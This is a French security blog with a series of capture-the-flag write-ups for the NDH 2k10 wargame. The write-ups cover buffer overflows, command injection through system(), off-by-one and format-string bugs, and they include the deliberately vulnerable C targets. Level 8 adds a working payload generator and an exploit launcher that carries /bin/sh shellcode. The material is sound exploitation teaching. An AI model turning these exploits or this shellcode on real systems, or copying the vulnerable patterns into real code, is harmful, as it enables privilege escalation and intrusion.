raisep0wn

Geek Stuff & IT Security

Advanced Persistent Threat

leave a comment »

Enfin un vrai discours sur les APT, merci Nicolas Ruff.

Source

Written by Ralph

07/09/2011 at 08:56

Publié dans IT Security

Fighting viruses, defending the net

leave a comment »

La vidéo d’une conférence grand publique et néanmoins très intéressante de Mikko Hypponen au sujet de la cyber-criminalité. C’est en anglais, mais toutefois d’une grande clarté, et plein d’humour.

L’interview de Mikko sur CNN.

Written by Ralph

20/07/2011 at 19:53

Publié dans IT Security

Hackers : ni dieu, ni maître

leave a comment »

Un reportage d’une demie heure présentant au grand public la communauté des hackers européens. Merci à Fabien Benoit / ARTE.

Written by Ralph

09/06/2011 at 21:18

Publié dans IT Security

NDH 2K10 public wargame level1

with 2 comments

Maintenant que la NDH 2k10 commence à dater, et que la NDH 2011 arrive à grand pas, je pense qu’il est temps de publier les quelques exploits qui nous permettent d’arriver à nos fins. Plusieurs articles ont été publiés peu de temps après la publication du WarGame, Infond, m_101 pour ne citer qu’eux. Pour changer des write-up j’ai décidé de réaliser des vidéos pour les 10 niveaux du WarGame. J’ai choisi le WarGame de la NDH pour sa relative simplicité (pas d’ASLR), mais aussi parce qu’il permet de se familiariser avec les grands principes du hacking applicatif, du simple buffer overflow au rop, et passant par race conditions, stack canary, brute force, format string, et  ret2libc. C’est donc un bon WarGame pour débutant, qui vous donnera une vision générale de l’exploitation de failles applicatives, à vous d’approfondir les domaines qui vous tiennent à cœur…

Code source de l’épreuve :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void dummy()
{
setresuid(geteuid(),geteuid(),geteuid());
system("sleep 1; cat /home/level2/passwd;");
exit(0);
}

int *p;
void func(char *arg)
{
char buf[16];
p = (int *)&buf[sizeof(buf)];

printf("dummy() is at: 0x%08x\n", dummy);
printf("before:   SEBP=%p\n\t  SEIP=0x%08x\n", *p, *(p+1));
strcpy(buf, arg);
printf("after:    SEBP=%p\n\t  SEIP=0x%08x\n", *p, *(p+1));

}
int main(int argc, char *argv[])
{
if(!argv[1]) {
printf("No command found...\n");
return;
}
func(argv[1]);
}

Le level1 est une introduction aux buffers overflow. Le premier argument passé au programme est copié sans ménagement ni vérification dans un buffer de 16 octets. Si la zone mémoire réservée (16 octets) n’est pas suffisante, strcpy continuera en écrasant les données situées après la fin du buffer. Le buffer étant alloué sur la pile, nous risquons d’écraser ce qui a été précédemment empilé. Ici, les valeurs sauvegardées de EIP, puis EBP ont été empilés juste avant la création du buffer. A la fin de la fonction func(), l’instruction leave réinitialisera la stack frame, et l’instruction ret mettra SEIP dans EIP (POP->EIP). L’exploitation consistera a écraser SEIP par l’adresse de la fonction dummy, afin de rediriger le flow d’exécution et afficher le mot de passe du prochain niveau.

Références :

Written by Ralph

28/05/2011 at 08:09

Publié dans IT Security

Tagged with , ,

NDH 2k10 Public WarGame level2

leave a comment »


Code source de l’épreuve :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
char *buffer = malloc(sizeof(char)*(strlen("man ")+strlen(argv[1])+1));

if(argc<2 || strlen(argv[1])>50) {
printf("Manpage <argument>\n");
exit(0);
}

strcpy(buffer, "man ");
strcat(buffer, argv[1]);

system(buffer);
return 0;
}

Le level2 montre une utilisation dangereuse de la fonction system(). D’ailleurs, la documentation précise que cette fonction ne doit jamais être utilisée avec un programme ayant un SUID. Cette fonction permet de lancer une commande shell (ici, man, affichant le manuel), et l’argument passé au programme est inclus dans la commande. Or la syntaxe du shell permet de séparer les commandes via le caractère point-virgule, ainsi il nous est très facile de lancer une deuxième commande après man. De plus, la commande system() utilise certaines variables d’environnement qui sont contrôlées par l’utilisateur. La fonction system() va rechercher un exécutable du nom de man dans les dossiers définies dans la variable d’environnement PATH. Vous pouvez alors parfaitement contrôler quel binaire cette fonction va exécuter.

Références :

Written by Ralph

28/05/2011 at 08:08

Publié dans IT Security

Tagged with , ,

NDH 2k10 Public WarGame level3

leave a comment »


Le level3 ne contient pas de code source. Il s’agit d’un programme qui nous demande de casser un algorithme de chiffrement. Après quelques tests, on peut supposer qu’il s’agisse d’un chiffrement par substitution linéaire. Il ne nous reste plus qu’à l’attaquer par force brute. Nous allons essayer toutes les possibilités caractère par caractère. Je vous propose ci-dessous un code source python qui se chargera de ce travail pour nous.

#!/usr/bin/python
import os

target = '/home/level3/crackme'
wanted = '2:8vytm&*9|)].l(ol;a'
arg = 'a'*20
solution_string = ''
size = 1024

print "-->Brute force cracking"
for char in range(20): # bf one by one
 for ascii in range(1, 256): # for all but \0 (ascii)
  arg = solution_string + chr(ascii) + 'a'*(19-char)
  # beware of bad char :
  if arg.find("'") == -1:
   # /home/level3/crackme 'all but single quote'
   cmd = "%s '%s'"%(target, arg)
  else:
   # /home/level3/crackme "all but double quote"
   cmd = '%s "%s"'%(target, arg)
  # reading the output
  res = os.popen(cmd).read(size)
  # searching for ciphered
  pos = res.find('Ciphered:')
  # ciphered is 20 bytes length
  ciphered = res[pos+10:pos+30]
  # check current ciphered char matching with wanted
  if ciphered[char] == wanted[char]:
   solution_string = ''.join([solution_string, chr(ascii)])
   break
 print '>%d%%'%(char*5)

# print solution string
print "\nSolution string: %s"%solution_string
# print string as a list to get unprintable ascii
print "Solution ascii: %s"%[solution_string]

Références :

Written by Ralph

28/05/2011 at 08:07

Publié dans IT Security

Tagged with , , ,

NDH 2k10 Public WarGame level4

leave a comment »


Code source de l’épreuve :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// gcc -o level4 level4.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

int checkIdent(char *login, char *pwd)
{
	char buffer[8] = {'\0'};
	int i;

	strcpy(buffer, login);
	buffer[strlen("guest1")] = '\0';

	if(strcmp(buffer, "guest1"))
		return 0;

	strcpy(buffer, pwd);
	buffer[strlen("guest1")] = '\0';

	if(strcmp(buffer, "guest1"))
		return 0;

	return 1;
}

int main(int argc, char *argv[])
{
	if(argc != 3) {
		printf("%s <login> <pass>\n", argv[0]);
		exit(-1);
	}

	if(checkIdent(argv[1], argv[2])) {
		printf("Logged \n");
		exit(1);
	}

	printf("Oh noes\n");
	return 0;
}

Le level4 est un buffer overflow, tout comme le level1, seulement cette fois-ci, nous ne pouvons pas rediriger le flow d’exécution vers une fonction qui affiche le password, car cette fonction n’a pas été codée dans le binaire. Il va donc falloir la créer. Tout d’abord, il faut localiser SEIP, la zone mémoire sur la pile qui sera popée dans EIP au moment du ret de la fonction. Pour ce faire, nous allons utiliser un pattern cyclique, c’est à dire, une chaine de caractère spécialement conçue qui nous permettra de savoir la position de SEIP en nombre d’octet depuis le début de la chaine. Pour ce faire, nous utiliserons les scripts pattern_create.rb et pattern_offset.rb fournie avec Metasploit, lui-même disponible dans la distribution linux backtrack. Une fois le pattern injecté, nous déclenchons une erreur de segmentation (segfault). Nous pouvons récupérer la valeur de EIP au moment de l’erreur via la commande dmesg. Nous connaissons alors la position de EIP. Mais encore faut il savoir vers où rediriger EIP… Par exemple, nous aimerions bien appeler /bin/sh. L’astuce consiste à ajouter directement sur la pile, des instructions assembleurs correspondant à un appel a /bin/sh. En fait, rien ne nous empêche de convertir les instructions assembleurs d’un petit programme, en chaine de caractère, et de les copier sur la pile. C’est ce que l’on appelle communément un shellcode, un code permettant de lancer un shell. Petite remarque au passage, un shellcode ne peut pas contenir d’octet null (\x00) car cela signifierait la fin de la chaine de caractère… Quoi qu’il en soit, beaucoup de shellcode trainent sur la toile, et  Metasploit à même un outil permettant de générer ce genre de chose (msfpayload / msfencode). Bref, il ne nous reste plus qu’à faire pointer EIP sur notre shellcode pour obtenir un shell.

Références :

Written by Ralph

28/05/2011 at 08:06

Publié dans IT Security

Tagged with

NDH 2k10 Public WarGame level5

leave a comment »


Code source de l’épreuve :

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// gcc -o level5 level5.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

void setArray(int frame, int value) {
	int array[32];

	array[frame] = value;
	printf("fill case %d with %d.\n", frame, value);
	return;
}

int main(int argc, char **argv) {
	if (argc != 3)
		printf("syntax: %s [slot] [val]\n", argv[0]);
	else
		setArray(atoi(argv[1]), atoi(argv[2]));
	exit(0);
}

Cette fois, il s’agit d’un débordement de tableau, c’est plus original. Le programme nous permet d’écrire dans une cellule du tableau, et bien sûr, aucune vérification n’est faite, ce qui nous permet d’écrire au-delà dudit tableau. Nous remarquons que la cellule 33 pointe vers SEIP. (Soit par dichotomie, soit à l’aide de gdb, mais nous n’allons pas sortir les débuggeurs dès le niveau 4 tout de même). Nous pouvons donc aisément rediriger le flux d’exécution. Cependant, nous ne pouvons plus écrire notre shellcode sur la pile… Enfin, à première vue. L’astuce consiste à cacher notre shellcode dans une variable d’environnement dont nous pouvons déterminer l’adresse mémoire à l’aide de la fonction C getenv(« env name »). Ensuite, il suffit de faire pointer EIP dessus, seulement il ne faut pas oublier de convertir l’adresse hexadécimal en décimal.

Written by Ralph

28/05/2011 at 08:05

Publié dans IT Security

Tagged with , ,

NDH 2k10 Public WarGame level6

leave a comment »


Code source de l’épreuve :

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

// gcc -o level6 level6.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

int layer(char *arg){
if(strlen(arg)>128) {
printf("Aww noes you'r crazy !\n");
exit(0);
}
char buf[128];
strcpy(buf, arg);
return 0;
}

int main(int argc, char *argv[])
{
if(!argv[1]) return;

layer(argv[1]);
return 0;
}

Voilà quelque chose d’intéressant pour tout programmeur débutant en C. Ici nous avons un buffer de 128 octet, et nous empêchons une chaine de plus de 128 caractères d’être copiée dans ce buffer. Où est le problème ? Hé bien la fonction strlen() compte les caractères de la chaine en omettant le caractère null qui la termine. « foo » fait bien 3 caractères, mais en mémoire elle prend 4 octets [foo+null]. Lorsque strcpy() copiera une chaine de 128 caractères, elle écrasera l’octet suivant en ajoutant le caractère null. C’est ce que l’on appel un off by one. Ainsi, le dernier octet de SEBP est écrasé provoquant (ou pas) un décalage d’au plus 255 sur EBP. En bidouillant un peu, ou en ayant de la chance, après deux leave / ret, EIP pointe en plein dans notre buffer. Il ne reste plus qu’a le rediriger vers notre shellcode. La vidéo explique relativement en détail le comment du pourquoi.

Références :

Written by Ralph

28/05/2011 at 08:04

Publié dans IT Security

Tagged with , , ,

NDH 2k10 Public WarGame level8

leave a comment »


Code source de l’épreuve :

#include <stdio.h>
#include <stdlib.h>

// gcc -o level8 level8.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

int main(int argc, char *argv[])
{
        if(argc < 2) {
                printf("Empty login! \n");
                exit(-1);
        }

        printf(argv[1]);
        printf("\nNice to see you\n");

        exit(0);
}

Une fonction d’apparence anodine comme printf peut cacher bien des surprises. Les formats strings. Cette fonction analyse la chaine de caractère à la recherche de spécification de conversion, les fameux caractères pour-cent que l’on utilise généralement pour afficher dans un format donné les arguments passés à la fonction. Ce challenge nous donne un contrôle total sur la chaine qu’utilise printf. En utilisant %x nous pouvons afficher le contenu de la pile. En y ajoutant le caractère dollar, nous avons un accès direct au paramètre. En clair, nous pouvons choisir la position de l’argument que nous utilisons. Ainsi %42$08x affichera le 42e octet de la pile. Et enfin, à l’aide de %n nous pouvons écrire dans un pointeur le nombre de caractère déjà inscrit. En mélangeant correctement ces différentes spécifications de conversion, nous pouvons lire et écrire à peu près partout dans la zone mémoire du programme. Nous nous contenterons d’écraser une entrée de le GOT afin de rediriger les appels à la fonction puts() vers note shellcode. La vidéo devrait vous permettre de comprendre le principe. Le script utilisé pour générer la chaine d’exploitation, et l’exploit ont été ajoutés à la fin de cet article.

#!/usr/bin/python
from sys import argv
from getopt import getopt

opt,arg = getopt(argv[1:], "g:v:o:p:l")
target = []
desire = []
offset = -1
padding = ""
LE = 0x000000FF
string = ""

for o,a in opt:
    if o == "-g":
        a = int(a, 16)
        for i in range(4):
            target.append([a&LE, (a>>8)&LE, (a>>16)&LE, (a>>24)&LE])
            a += 1
    elif o == "-v":
        desire = [int(a, 16)&LE, (int(a, 16)>>8)&LE, (int(a, 16)>>16)&LE, (int(a, 16)>>24)&LE]
    elif o == "-o":
        offset = int(a)
    elif o == "-p":
        padding = a

if target == [] or desire == [] or offset == -1:
    print "%s -g <got_addr> -v <payload_addr> -o <offset> [-p <padding>]"%argv[0]
    exit(1)

string += "%%1$%04dc%%%04d$n"%(desire[0], offset)
string += "%%1$%04dc%%%04d$n"%(256+desire[1]-desire[0], offset+1)
string += "%%1$%04dc%%%04d$n"%(256+desire[2]-desire[1], offset+2)
string += "%%1$%04dc%%%04d$n"%(256+desire[3]-desire[2], offset+3)

for i in range(4):
    string += "%c%c%c%c"%tuple(target[i])
string += "%c%c%c%c"%tuple(desire) #useless -_-"
string += padding
print string
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char target_path[] = "/home/level8/level8";
char *env[] = {"SHLVL=0", "PWD=/tmp/level8", "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh", (char *)0};

int main(int argc, char* argv[])
{
 if(!execle(target_path, target_path, argv[1], (char *)0, env))
 {
  perror("Unable to execute target.");
  exit(1);
 }
}

Références :

Written by Ralph

28/05/2011 at 08:03

Publié dans IT Security

Tagged with , , ,